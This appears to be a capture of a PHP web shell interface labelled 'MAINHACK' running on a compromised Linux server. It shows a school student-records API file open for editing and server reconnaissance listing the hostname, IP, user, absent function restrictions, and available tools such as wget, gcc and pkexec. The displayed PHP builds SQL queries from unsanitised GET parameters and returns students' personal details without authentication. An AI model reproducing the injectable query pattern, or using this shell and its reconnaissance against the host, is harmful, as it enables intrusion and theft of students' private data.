[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api_dash.php
<?php header("Content-Type: application/json"); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: GET"); include("../functions.php"); // should set $new DB connection // Accept index_no and school_code from either GET or SESSION $index_no = $_GET['index_no'] ?? $_SESSION['student_id0023894'] ?? $_SESSION['index_no78897498'] ?? ''; $school_code = $_GET['school_code'] ?? $_SESSION['myschoolcode'] ?? ''; // Validate required parameters if (!$index_no || !$school_code) { echo json_encode(["status" => "error", "message" => "Missing required parameters (index_no, school_code)"]); exit(); } // Check student enrollment details $checkDetails = mysqli_query($new, "SELECT * FROM enrol_details WHERE index_no='$index_no' AND s_code='$school_code'"); if (mysqli_num_rows($checkDetails) == 0) { echo json_encode(["status" => "error", "message" => "Student not found"]); exit(); } // Get generic student data $student = mysqli_fetch_assoc(mysqli_query($new, "SELECT * FROM enrol_generic WHERE indexNo='$index_no'")); $name = $student['stud_name'] ?? null; $resident_status = $student['status'] ?? "N/A"; $gender_status = $student['gender'] ?? "N/A"; // If name missing, get from enrol_details if (!$name) { $nameRes = mysqli_fetch_assoc(mysqli_query($new, "SELECT student_name FROM enrol_details WHERE index_no='$index_no' AND s_code='$school_code'")); $name = $nameRes['student_name'] ?? "N/A"; } // Get school info (PDO assumed in $con) $stmt = $con->prepare("SELECT * FROM schools WHERE school_code = ?"); $stmt->execute([$school_code]); $school = $stmt->fetch(PDO::FETCH_ASSOC); $school_name = $school['school_name'] ?? "N/A"; $logo = $school['logo'] ?? "no_logo.png"; // Get class & photo $classRow = mysqli_fetch_assoc(mysqli_query($new, " SELECT class_name, cid, photo FROM enrol_details JOIN class ON enrol_details.class_id = class.cid WHERE index_no='$index_no' ")); $class_name = $classRow['class_name'] ?? "N/A"; $classID = $classRow['cid'] ?? null; $photo = $classRow['photo'] ?: "myprofile.png"; // Get programme $progRow = mysqli_fetch_assoc(mysqli_query($new, " SELECT program_name FROM programme JOIN class ON programme.progid = class.program_id WHERE class.cid='$classID' ")); $programme = $progRow['program_name'] ?? "N/A"; // Get house & contact $houseRow = mysqli_fetch_assoc(mysqli_query($new, " SELECT house_name, mobile_num, unique_student_code FROM enrol_details JOIN house ON enrol_details.house_id = house.hid WHERE index_no='$index_no' ")); $house_name = $houseRow['house_name'] ?? "N/A"; $mobile_num = $houseRow['mobile_num'] ?? "N/A"; $unique_id = $houseRow['unique_student_code'] ?? "N/A"; // Return JSON response echo json_encode([ "status" => "success", "school" => [ "name" => $school_name, "logo" => $logo ], "student" => [ "index_no" => $index_no, "name" => $name, "gender" => $gender_status, "resident_status" => $resident_status, "unique_id" => $unique_id, "class" => $class_name, "programme" => $programme, "photo" => $photo, "house" => $house_name, "mobile" => $mobile_num ] ]); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002